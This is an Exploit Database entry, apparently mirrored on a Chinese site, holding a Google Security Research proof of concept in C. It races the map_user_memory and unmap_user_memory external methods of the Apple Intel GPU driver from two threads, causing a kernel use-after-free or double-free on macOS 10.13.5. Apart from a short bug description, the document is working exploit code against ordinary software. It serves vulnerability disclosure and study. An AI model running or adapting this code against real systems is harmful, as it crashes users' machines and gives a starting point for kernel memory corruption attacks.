Apple Intel GPU Driver – Use-After-Free/Double-Delete due to bad Locking

• Exploit Database
• 15 阅读

• 作者： Google Security Research
  日期： 2018-10-22
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/45647/

• /*
  This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)
  
  That report showed the bug in the unmap_user_memory external methods; a variant also exists
  in the map_user_memory external methods.
  
  The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.
  
  map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)
  
  tested on MacOS 10.13.5 (17F77) on MacBookPro10,1
  */
  
  //ianbeer
  
  // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit
  
  #if 0
  UaF/Double-delete due to bad locking in Apple Intel GPU driver
  
  This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)
  
  That report showed the bug in the unmap_user_memory external methods; a variant also exists
  in the map_user_memory external methods.
  
  The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.
  
  map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)
  
  tested on MacOS 10.13.5 (17F77) on MacBookPro10,1
  
  #endif
  
  #include <stdint.h>
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/mman.h>
  
  #include <mach/mach.h>
  #include <mach/vm_map.h>
  
  #include <libkern/OSAtomic.h>
  
  #include <mach/thread_act.h>
  
  #include <pthread.h>
  
  #include <IOKit/IOKitLib.h>
  
  
  struct mem_desc {
  uint64_t ptr;
  uint64_t size;
  };
  
  uint64_t map_user_memory(mach_port_t conn) {
  kern_return_t err;
  void* mem = malloc(0x20000);
  // make sure that the address we pass is page-aligned:
  mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
  printf("trying to map user pointer: %p\n", mem);
  
  uint64_t inputScalar[16] = {0};
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096] = {0};
  size_t inputStructCnt = 0;
  
  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096] = {0};
  size_t outputStructCnt = 0;
  
  inputScalarCnt = 0;
  inputStructCnt = 0x10;
  
  outputScalarCnt = 4096;
  outputStructCnt = 16;
  
  struct mem_desc* md = (struct mem_desc*)inputStruct;
  md->ptr = (uint64_t)mem;
  md->size = 0x1000;
  
  err = IOConnectCallMethod(
   conn,
   0x200, // IGAccelGLContext::map_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 
  
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   //return 0;
  } else{
  printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
  }
  
  printf("outputScalarCnt = %d\n", outputScalarCnt);
  
  md = (struct mem_desc*)outputStruct;
  printf("0x%llx :: 0x%llx\n", md->ptr, md->size);
  
  return (uint64_t)mem;
  }
  
  uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
  kern_return_t err;
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 0;
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  inputScalarCnt = 0;
  inputStructCnt = 0x8;
  
  outputScalarCnt = 4096;
  outputStructCnt = 16;
  
  *((uint64_t*)inputStruct) = handle;
  
  err = IOConnectCallMethod(
   conn,
   0x201, // IGAccelGLContext::unmap_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 
  
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
  printf("worked?\n");
  }
  
  return 0;
  }
  
  mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;
  
  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
  
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
  
  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
  
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
  
  printf("got userclient connection: %x\n", conn);
  
  return conn;
  }
  
  volatile mach_port_t gl_context = MACH_PORT_NULL;
  
  #define N_HANDLES 40
  void go(void* arg){
  while (1) {
  uint64_t handles[N_HANDLES] = {0};
  for (int i = 0; i < N_HANDLES; i++) {
  handles[i] = map_user_memory(gl_context);
  }
  
  for (int i = 0; i < N_HANDLES; i++) {
  unmap_user_memory(gl_context, handles[i]);
  }
  }
  }
  
  
  
  
  
  int main(int argc, char** argv){
  // get an IGAccelGLContext
  gl_context = get_user_client("IntelAccelerator", 1);
  printf("gl_context: %x\n", gl_context);
  
  // get a IGAccelSharedUserClient
  mach_port_t shared = get_user_client("IntelAccelerator", 6);
  printf("shared: %x\n", shared);
  
  // connect the gl_context to the shared UC so we can actually use it:
  kern_return_t err = IOConnectAddClient(gl_context, shared);
  if (err != KERN_SUCCESS){
   printf("IOConnectAddClient error: %x\n", err);
   return 0;
  }
  
  printf("added client to the shared UC\n");
  
  #define N_THREADS 2
  pthread_t threads[N_THREADS];
  
  for (int i = 0; i < N_THREADS; i++) {
  pthread_create(&threads[i], NULL, go, NULL);
  }
  
  pthread_join(threads[0], NULL);
  
  
  return 0;
  
  
  }